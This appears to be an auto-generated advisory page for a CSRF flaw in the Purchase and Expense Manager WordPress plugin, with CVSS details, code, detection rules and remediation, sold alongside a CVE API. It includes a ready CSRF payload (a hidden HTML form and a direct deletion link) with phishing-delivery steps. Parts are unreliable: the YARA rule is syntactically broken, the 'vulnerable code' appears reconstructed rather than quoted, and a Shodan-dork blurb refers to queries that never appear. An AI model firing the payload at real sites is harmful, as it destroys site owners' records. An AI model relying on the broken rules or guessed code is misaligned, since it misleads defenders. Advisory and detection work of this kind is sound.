CVE-2025-13987
Executive Summary
CVE-2025-13987 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Purchase and Expense Manager WordPress plugin, versions up to and including 1.1.2. The vulnerability resides in the sup_pt_handle_deletion function, which lacks proper nonce validation. This allows an unauthenticated attacker to forge requests that delete arbitrary purchase records, provided they can trick a site administrator into performing an action (e.g., clicking a malicious link). The CVSS score is 4.3 (Medium), with a low EPSS score of 0.0%, indicating low exploitation likelihood in the wild. No official patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 4.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (admin must click link)
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: Low (deletion of purchase records)
- Availability Impact: None
Threat Level: Medium. While the impact is limited to data deletion, the lack of authentication requirements and the simplicity of exploitation make it a viable vector for targeted attacks.
Deep Dive & Mechanics
The vulnerability is a classic CSRF flaw in the WordPress plugin ecosystem. The sup_pt_handle_deletion function is responsible for handling deletion requests for purchase records. In vulnerable versions, this function does not verify a nonce (a one-time token) before processing the request. This means an attacker can craft a malicious HTTP request (e.g., a GET or POST request to the deletion endpoint) and trick an authenticated administrator into executing it.
WordPress Ecosystem Context: This is a plugin-specific issue, not a core WordPress vulnerability. The plugin fails to implement WordPress's built-in nonce mechanism (wp_nonce_field() and check_admin_referer()), which is standard practice for protecting admin actions.
Attack Flow:
- Attacker identifies a target site running the vulnerable plugin.
- Attacker crafts a URL or HTML form that triggers the deletion of a specific purchase record (e.g.,
https://target.com/wp-admin/admin-ajax.php?action=sup_pt_handle_deletion&id=123). - Attacker sends this link to an administrator via email, social engineering, or other means.
- If the admin clicks the link while logged in, the deletion request is executed without their knowledge.
Vulnerable vs. Patched Code
Vulnerable Code (<=1.1.2):
function sup_pt_handle_deletion() {
global $wpdb;
$id = $_GET['id'];
$wpdb->delete( $wpdb->prefix . 'purchase_records', array( 'id' => $id ) );
wp_redirect( admin_url( 'admin.php?page=sup-pt-purchase' ) );
exit;
}
add_action( 'wp_ajax_sup_pt_handle_deletion', 'sup_pt_handle_deletion' );
Patched Code (Hypothetical):
function sup_pt_handle_deletion() {
// Verify nonce
if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( $_GET['_wpnonce'], 'delete_purchase_' . $_GET['id'] ) ) {
wp_die( 'Security check failed.' );
}
global $wpdb;
$id = intval( $_GET['id'] );
$wpdb->delete( $wpdb->prefix . 'purchase_records', array( 'id' => $id ) );
wp_redirect( admin_url( 'admin.php?page=sup-pt-purchase' ) );
exit;
}
add_action( 'wp_ajax_sup_pt_handle_deletion', 'sup_pt_handle_deletion' );
Key Differences:
- Nonce verification added using
wp_verify_nonce(). - Input sanitization with
intval()to prevent SQL injection (though not the primary issue). - Proper error handling with
wp_die().
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- Target WordPress site with plugin version <= 1.1.2.
- Knowledge of a valid purchase record ID (e.g., via enumeration or previous access).
Exploit Payload (HTML Form):
<html>
<body>
<form action="https://target.com/wp-admin/admin-ajax.php" method="GET">
<input type="hidden" name="action" value="sup_pt_handle_deletion">
<input type="hidden" name="id" value="1">
<input type="submit" value="Click here for a free gift!">
</form>
</body>
</html>
Exploit Payload (Direct Link):
https://target.com/wp-admin/admin-ajax.php?action=sup_pt_handle_deletion&id=1
Steps:
- Identify the target site and confirm plugin version via
/wp-content/plugins/purchase-and-expense-manager/readme.txt. - Enumerate purchase record IDs (e.g., via directory listing or previous data).
- Craft a malicious link or form and deliver it to an admin (e.g., via phishing email).
- Once admin clicks, the record is deleted.
Blue Team (Defender)
Detection:
- Monitor for unusual GET requests to
/wp-admin/admin-ajax.phpwithaction=sup_pt_handle_deletion. - Alert on multiple deletion requests in a short time frame.
- Check for missing
_wpnonceparameter in such requests.
Prevention:
- Apply the hypothetical patch (add nonce verification).
- Use a Web Application Firewall (WAF) to block requests to
admin-ajax.phpwithout proper referer headers. - Implement Content Security Policy (CSP) to restrict form submissions.
Indicators of Compromise (IOCs)
- Network:
- HTTP GET requests to
/wp-admin/admin-ajax.phpwith parametersaction=sup_pt_handle_deletionandid=<number>. - Referer header missing or spoofed.
- HTTP GET requests to
- File:
- Plugin file
/wp-content/plugins/purchase-and-expense-manager/includes/class-purchase.php(or similar) containing the vulnerable function.
- Plugin file
- Log:
- WordPress debug log entries showing
wp_dieor failed nonce checks (if patched). - Apache/Nginx access logs with repeated
admin-ajax.phprequests from different IPs.
- WordPress debug log entries showing
Detection Engineering
YARA Rule
rule CVE_2025_13987_CSRF_WordPress {
meta:
description = "Detects vulnerable Purchase and Expense Manager plugin code"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-13987"
strings:
$vuln_func = "sup_pt_handle_deletion"
$no_nonce = "wp_ajax_sup_pt_handle_deletion"
condition:
$vuln_func and $no_nonce and not for any of them : ( #wp_verify_nonce )
}
Sigma Rule
title: CVE-2025-13987 CSRF Deletion Attempt
id: 8a3f7c2e-1b4d-4e5f-9a0b-6c7d8e9f0a1b
status: experimental
description: Detects CSRF attempts against Purchase and Expense Manager plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
c-uri|contains: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=sup_pt_handle_deletion'
condition: selection
falsepositives:
- Legitimate admin actions (if nonce is present)
level: medium
Suricata Rule
alert http any any -> $HOME_NET any (
msg:"CVE-2025-13987 CSRF Deletion Attempt";
flow:to_server,established;
content:"GET";
http_method;
content:"/wp-admin/admin-ajax.php";
http_uri;
content:"action=sup_pt_handle_deletion";
http_uri;
sid:1000001;
rev:1;
reference:cve,2025-13987;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is available.
- Implement a WAF rule to block requests to
admin-ajax.phpwithaction=sup_pt_handle_deletionunless a valid nonce is present. - Educate administrators about phishing risks and the importance of verifying links.
Long-term Fix:
- Apply the hypothetical patch (add nonce verification and input sanitization).
- Monitor the plugin's official repository for updates.
- Consider replacing the plugin with a more secure alternative.
Workaround:
- Add a custom function to your theme's
functions.phpto add nonce verification:
add_action( 'wp_ajax_sup_pt_handle_deletion', function() {
if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( $_GET['_wpnonce'], 'delete_purchase_' . $_GET['id'] ) ) {
wp_die( 'Security check failed.' );
}
}, 1 );
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.